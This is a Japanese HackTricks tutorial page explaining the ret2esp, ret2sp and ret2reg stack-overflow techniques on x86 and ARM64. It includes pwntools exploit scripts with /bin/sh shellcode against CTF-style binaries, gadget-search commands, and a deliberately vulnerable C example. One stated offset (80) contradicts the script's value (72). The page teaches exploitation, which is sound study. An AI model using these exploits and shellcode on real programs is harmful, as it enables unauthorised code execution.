HackTricksのサポート
HackTricks とHackTricks Cloud のGitHubリポジトリにPRを提出してハッキングテクニックを共有してください。
Ret2esp
ESP(スタックポインタ)は常にスタックの先頭を指すため 、このテクニックはEIP(命令ポインタ)を**jmp esp
または call esp
**命令のアドレスで置き換えることを含みます。これにより、シェルコードが上書きされたEIPの直後に配置されます。ret
命令が実行されると、ESPは次のアドレスを指し、つまりシェルコードが格納されている場所を指します。
WindowsやLinuxで**アドレス空間配置のランダム化(ASLR)**が有効でない場合、共有ライブラリで見つかるjmp esp
やcall esp
命令を使用することが可能です。ただし、ASLR が有効な場合、これらの命令を脆弱なプログラム内で探す必要があります(かつPIE を打破する必要があるかもしれません)。
さらに、シェルコードをEIPの破損後に配置できる ことは、スタックの中央ではなく後ろに配置することを意味し、関数の動作中に実行されるpush
やpop
命令がシェルコードに干渉しないようにします。スタックの中央にシェルコードを配置した場合、関数のスタック内でpush
やpop
命令が干渉する可能性があります。
スペースが不足している場合
RIPを上書きした後に書き込むスペースが不足している場合(たとえば数バイトしかない場合)、最初に**jmp
**シェルコードを書き込んでください。
Copy sub rsp, 0x30
jmp rsp
そして、シェルコードをスタックの早い段階に書き込みます。
例
このテクニックの例は、https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp にあり、最終的なエクスプロイトは次のようになります:
Copy from pwn import *
elf = context . binary = ELF ( './vuln' )
p = process ()
jmp_rsp = next (elf. search ( asm ( 'jmp rsp' )))
payload = b 'A' * 120
payload += p64 (jmp_rsp)
payload += asm ( '''
sub rsp, 10;
jmp rsp;
''' )
pause ()
p . sendlineafter ( 'RSP!\n' , payload)
p . interactive ()
別の例をこちら で見ることができます。NXが有効でないバッファオーバーフローがあり、$esp
のアドレスを減少させるガジェット が使用され、その後jmp esp;
でシェルコードにジャンプします。
Copy # From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
# Establish the target process
target = process ( './b0verflow' )
#gdb.attach(target, gdbscript = 'b *0x080485a0')
# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Establish our rop gadgets
# 0x08048504 : jmp esp
jmpEsp = p32 ( 0x 08048504 )
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32 ( 0x 80484fd )
# Make the payload
payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1" * ( 0x 20 - len (shellcode) ) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget
# Send our payload
target . sendline (payload)
# Drop to an interactive shell
target . interactive ()
Ret2reg
同様に、シェルコードが格納されているアドレスを返す関数がわかっている場合、call eax
または jmp eax
命令(ret2eaxテクニックとして知られる)を活用することができ、シェルコードを実行する別の方法が提供されます。eaxと同様に、興味深いアドレスを含む他のレジスタ を使用することもできます(ret2reg )。
例
ここでいくつかの例を見つけることができます:
**strcpy
は、シェルコードが格納されているバッファのアドレスを eax
に格納し、 eax
**が上書きされていないため、ret2eax
を使用することが可能です。
ARM64
Ret2sp
ARM64では、SPレジスタにジャンプする 命令は存在しません 。SPをレジスタに移動させ、その後そのレジスタにジャンプするガジェットを見つけることができるかもしれませんが、私のkaliのlibcにはそのようなガジェットが見つかりませんでした。
Copy for i in ` seq 1 30 ` ; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)" ;
done
見つけた唯一のものは、sp がコピーされるレジストリの値を変更するもので、それにジャンプする前に無効になります:
Ret2reg
興味深いアドレスを持つレジストリがある場合、適切な命令を見つけるだけでそれにジャンプすることが可能です。次のようなものを使用できます:
Copy ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?" ;
ARM64では、関数の戻り値を格納するのは**x0
**です。したがって、x0がユーザーによって制御されるバッファのアドレスを格納し、それを実行するシェルコードを含める可能性があります。
例のコード:
Copy // clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
#include <stdio.h>
#include <string.h>
void do_stuff ( int do_arg){
if (do_arg == 1 )
__asm__ ( " br x0 " ) ;
return ;
}
char* vulnerable_function () {
char buffer[ 64 ];
fgets(buffer , sizeof (buffer) * 3 , stdin) ;
return buffer;
}
int main ( int argc , char ** argv) {
char* b = vulnerable_function() ;
do_stuff( 2 )
return 0 ;
}
関数の逆アセンブリをチェックすると、バッファへのアドレス (bofに脆弱であり、ユーザーによって制御されている )が、バッファオーバーフローから戻る前に**x0
に格納されている**ことがわかります:
また、do_stuff
関数内でガジェット br x0
を見つけることも可能です:
バイナリがPIEなしでコンパイル されているため、そのガジェットをジャンプ先として使用します。パターンを使用すると、バッファオーバーフローのオフセットが80 であることがわかります。したがって、攻撃手法は次の通りです:
Copy from pwn import *
p = process ( './ret2x0' )
elf = context . binary = ELF ( './ret2x0' )
stack_offset = 72
shellcode = asm (shellcraft. sh ())
br_x0 = p64 ( 0x 4006a0 ) # Addr of: br x0;
payload = shellcode + b "A" * (stack_offset - len (shellcode) ) + br_x0
p . sendline (payload)
p . interactive ()
もしfgets
の代わりに**read
**のようなものが使われていた場合、PIEをバイパスすることが可能であり、戻りアドレスの最後の2バイトのみを上書きして、完全なアドレスを知る必要なくbr x0;
命令に戻ることができました。
fgets
では、これが機能しないのは、末尾にヌル(0x00)バイトが追加 されるためです。
Protections
NX : スタックが実行不可であれば、シェルコードをスタックに配置して実行するためにジャンプする必要があるため、これは役立ちません。
ASLR & PIE : これらは、espや他のレジスタにジャンプする命令を見つけるのを難しくする可能性があります。
References
HackTricksをサポートする
HackTricks とHackTricks Cloud のgithubリポジトリにPRを提出して、ハッキングトリックを共有してください。
Last updated 2 months ago